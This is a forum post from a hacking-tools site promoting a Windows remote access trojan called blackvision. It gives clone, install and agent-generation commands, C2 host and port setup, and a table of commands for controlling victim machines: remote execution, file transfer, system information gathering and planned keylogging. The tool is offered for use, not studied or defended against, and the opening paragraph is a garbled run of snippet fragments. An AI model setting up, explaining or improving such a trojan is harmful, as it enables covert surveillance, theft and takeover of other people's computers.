# Command Line Remote Access Tool (RAT) Targeting Windows Systems

**URL:** <https://onehack.st/t/command-line-remote-access-tool-rat-targeting-windows-systems/78643>\
**Category:** Tools & Scripts\
**Tags:** tools, programming, tips-tricks, windows\
**Created:** [April 10, 2020, 3:17pm UTC](https://onehack.st/t/command-line-remote-access-tool-rat-targeting-windows-systems/78643 "2020-04-10T15:17:58Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![Aina](https://onehack.st/user_avatar/onehack.st/aina/32/167469_2.png) [@Aina](https://onehack.st/u/Aina)\
**Post date:** [April 10, 2020, 3:17pm UTC](https://onehack.st/t/command-line-remote-access-tool-rat-targeting-windows-systems/78643/1 "2020-04-10T15:17:59Z")

</div>

![-](https://onehack.st/uploads/default/original/3X/f/5/f506a7496f73228935037fd5291a0f042181b88e.jpeg)

The _tools_ of choice in these incidents are _Remote Access Tools_ ( _RATs_ ), a type of software … unbeknownst to the _targeted_ victim, it is called a Trojan horse or a _Remote Administration_ … client component is the _command_ -and-control (C2) for the malicious actor. … The _Windows_ operating _system_ (OS) provides this service.

**Command line Remote Access tool targeting Windows Systems.**

###### Download Maxmind GeoIP2 Database from here ; [LINK](https://dev.maxmind.com/geoip/geoip2/geolite2/)

###### Extract the file under blackvision/

## How to use

#### Install required modules

```auto
pip3 install -r requirements.txt

```

#### Run server

```auto
git clone https://github.com/lynxmk/blackvision.git
cd blackvision
python3 main.py

```

#### Generate Agent

```auto
cd blackvision
python3 generate.py

```

#### Change Host/Port

Open settings.ini. And change host, port.

##### Commands

| Command | Purpose |
| --- | --- |
| transfer | Transfer a NON Binary file. |
| bsendfile | Transfer a Binary File. |
| kill | Kill the connection |
| info | View Information of client. |
| msgbox | Send Messageboxes. |
| exec | Execute a Command on the remote Machine(s). |
| exec-file | Execute a file on the remote Machine(s). |
| wanip | View WAN IP of Remote Machine(s). |
| hostname | View Hostname of Remote Machine(s). |
| username | View Username of Remote Machine(s). |
| monitoroff | Turn of monitor of Remote Machine(s). |
| monitoron | Turn monitor back on. |
| cdopen | Eject CDROM of Remote Machine(s). |
| cdclose | Close CDROM of Remote Machine(s). |
| playaudio | Play Audio stream on Remote Machine(s). |
| send | Send commands to 1 client. (NO broadcast) |
| keydump | DUMP Keystroke buffer (Not added yet) |

##### Termux Compatibilty

This app is compatible with Termux. Run it the same way you run it in Terminal.

#### TODO

- Rewrite Agent in C.
- Fix sending file to single client. (Fixed)
- Fix multiple clients information saving. (Fixed)
- Add keylogging.
- Fix that `args[3]` does not get sent. (Fixed)
- Fix Broken connection problems.

[Video Example](https://youtu.be/sxfEDJGn-6A)

## GitHub:

> [https://github.com/quantumcore/blackvision](https://github.com/quantumcore/blackvision)